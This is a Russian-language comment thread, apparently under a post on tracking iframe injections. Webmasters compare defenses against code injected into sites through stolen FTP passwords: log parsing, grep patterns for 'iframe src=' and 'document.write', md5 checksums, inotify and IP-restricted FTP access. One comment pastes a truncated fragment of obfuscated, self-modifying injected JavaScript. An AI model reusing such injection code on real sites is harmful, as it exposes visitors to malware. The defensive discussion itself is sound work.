не проблема что вы пхпшник, проблема что ваш код не понятен ни разу… за идею спасибо. хотя я бы на вашем месте еще и по винту бы лазил — да смотрел последние изменения файлов индексных…
Пароль менял, у меня мак, больше никто им не владел, всё равно фреймы вставлялись. Хостер естественно как бы не причём, все виной я. Недавно опять вставили, гугль блочит такое, показал такую ссылку, явно проблема у хостера. Как ему это доказать и заставить вылечить? Или только переезд вылечит? И меня заодно.
Было похоже — тоже мак, тоже все менял. Проверьте тщательнейшим образом все файлы с названиями типа "*index*.*", "*main*.*" итд итп. После того как я все вручную вычистил, больше не появлялась(тьфу-тьфу-тьфу).
Лично встречался с такими случаями несколько раз (слава богу не на своем компьютере) и всегда выяснялось, что либо пароль увели, либо троян на лету встраивает свой код при аплоаде. Т.е. на винте вебмастера файлы чисты, е а на сервере уже лежат с заразой.
каг-бэ тонко пытались намекнуть что «вирусов нет». хотя кто их, эти маки, разберет. под виндами все понятно: вставился код — гоняем заразу. а вот под маками уверенность в том что «вирусов быть не может» приводит к постоянному откладыванию проверки машны антивирусом. да и дефицит нормальных антивирусов + экзотичность заразы приводят к тому что вирус может и не детектиться длительное время, ибо в лабораторию еще не попадал и препарирован не был.
Аннет, вру — логи хранятся в одном файле, а потом раскидываются по своим местам. В таком случае ничего не мешает. Буду переписывать.
Спасибо, что ткнули носом :)
Надо по другому, ловить изменения поражаемых вирусом файлов, делать diff и анализировать на соотвествие типичным регекспам. ТО есть если изменение файла заключается в добавлекнии строчки «iframe src=» или «script document.write()» — паниковать.
до тех пор пока троянцы не научатся уводить не только пароли но и сертификаты. выянить где хранит их путти, ии FAR+WinSCP не составлет труда. и даже OpenVPN (как единственный легкий способ добраться до открытых портов /FTP/SSH/etc на «внутренних» интерфейсах), не гарантирует спокойного сна. я иногда в ужасе просыпаюсь с мыслью что если увести ВСЕ ключи, то сервера останутся беззащитны как голый младенец на хоккейной площадке. а вы? :)
Мне кажется искать grep'ом на предмет iframe'ов и посылать админу уведомления гораздо лучше и (!) проще, нежели то, что вы указали, тем более, что мой вариант кроме простоты еще и выполняет ту же функцию, ведь вы решаете задачу не предотвращения заливки и изменения сорцев.
Зачем эти извраты в пхп, если можно искать все нужные файлы c помощью find, считать их md5sum и каждый день сравнивать текущую сумму с предыдущей…
И никаких настроек proftpd, никаких баз, никаких скриптов на php.
Да ладно…
find очень быстрая штука, притом бегать же он будет не по милиардам файлов.
Кромете того, файндом можно вообще не пользоваться, а просто хранить список файлов, которым нужно считать и проверять md5 сумму.
Работать вариант с find'ом будет явно медленнее, чем текущий парсер логов на bash'е.
+ лично у меня в find попадает статистика webalizer'a
+ из find'а мы не можем узнать IP злодея
Кстати, иногда отдельно xferlog -а нет (а уже хочется прогнать поиск), а все складывается в /var/log/messages — тогда нужный файл легко создать перенаправив в него вывод этой команды:
cat /var/log/messages | grep pure-ftpd
Ну или не pure-ftpd, а то, что у вас там работает за FTP :)
function v4a84954d5cc57(v4a84954d5d461){ function v4a84954d5dc66 () {return 16;} return(parseInt(v4a84954d5d461,v4a84954d5dc66()));}function v4a84954d5ec3f(v4a84954d5f436){ var v4a84954d5fc03='';for(v4a84954d603d3=0; v4a84954d603d3
щорт… убилось половина :(
Короче, ифреймы — это полбеды. Вот самомодифицирующийся JS-код — это прикольно :)
Если будет интересно могу накидать статейку как я делал детектор подобного кода для мониторинга проектов нашей студии. Сейчас весьма успешно мониторится около сотни урлов на предмет вторжений :) Не идеально, конечно, но есть вариант сигнатурного анализатора если эвристика не помогает.
Дополнительное предложение: если сайт на линуксе, то использовать inotify (http://ru.wikipedia.org/wiki/Inotify), тогда не важно как именно будет залит файл по ftp, scp или даже через взлом скрипта на сайте.
Етот скрипт — ето подпорка, а не системное решение. Системное решение — ето изпользование .ftpaccess файла которий генерится при заходе в хостинг панель.
Почему?
зашел в хостинг панель.
Сгенирировал .ftpaccess для своего IP
и вперед…
Плюс можно ввести время жизни такого разрешения.
Неудобно? совсем малость, а безопасность повышается.
Это к тому, что зачем выцеплять нелегальное использование ftp постфактум, если более правильно будет не допускать подобного использования.
или, как вариант, менять пароль каждый день, по заранее установленной схеме.
Например отталкиваясь от текущей даты.
Не будут сейвать пароли — не будет подобных проблем.
Будут ламать сайты, а не воровать пароли :))
тоже недавно столкнулся с проблемой вычищения ифреймов, после чего попросил знакомого написать небольшой скрипт, в котором бы указывались ключевые строчки кода ифрейма, а этот скрипт проходился бы рекурсивно по директориям, ища заданные файлы и если находил в них заданные строки сносил только iframe, а не всю строку, как многие предлагают(я про find. -type f -name '*.php' | xargs perl -p -i -e 's/.*malware_domain.*$//g')
Отслеживание iframe